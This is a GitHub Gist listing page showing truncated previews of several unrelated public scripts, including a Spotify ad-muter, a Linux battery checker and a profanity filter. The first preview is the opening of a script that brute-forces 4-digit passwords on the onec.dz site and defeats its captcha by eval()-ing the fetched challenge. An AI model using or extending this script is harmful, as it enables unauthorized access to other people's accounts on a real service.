Skip to content

Instantly share code, notes, and snippets.

@iMrDJAi
iMrDJAi / onec-dz-bruteforce.js
Last active July 17, 2023 15:06
onec.dz bruteforce scripts.
async function bruteforce(id, pass) {
pass = ('0000' + pass).slice(-4)
const resc = await (async function f() {
try {
const res = await (await fetch(`${window.location.href.replace(/\/+$/, '')}/resc/`)).text()
const match = res.match(/(\d+(?:\+|\-)\d+)[\s\S]+value=(.+)>/)
if (match) {
return {
formula: match[1],
solution: eval(match[1]),
@Boot-Error
Boot-Error / spotify-ad-mute.sh
Last active December 1, 2020 20:12
A script to mute Spotify Client on Linux when it plays an advertisement
#!/bin/bash
# This script mutes spotify when it plays an advertisement
# Requires playerctl and pactl
check_deps() {
if ! [ -x "$(command -v playerctl)" ]; then
echo 'Error: playerctl is not installed or not in PATH. Check https://github.com/altdesktop/playerctl' >&2
exit 1
#include <iostream>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <string>
using namespace std;
@alkhachatryan
alkhachatryan / battery.sh
Last active November 29, 2020 20:07
LINUX | Check the battery power
#!/bin/bash
#IF statment will use this var to notify user about low battery
LESS_THAN=70
#Interval in sec
INTERVAL=30
while true;
do
@gidili
gidili / profanity_check.js
Created January 31, 2013 16:46
simple javascript profanity check
// extend strings with the method "contains"
String.prototype.contains = function(str) { return this.indexOf(str) != -1; };
// profanities of choice
var profanities = new Array("ass", "cunt", "pope");
var containsProfanity = function(text){
var returnVal = false;
for (var i = 0; i < profanities.length; i++) {
if(text.toLowerCase().contains(profanities[i].toLowerCase())){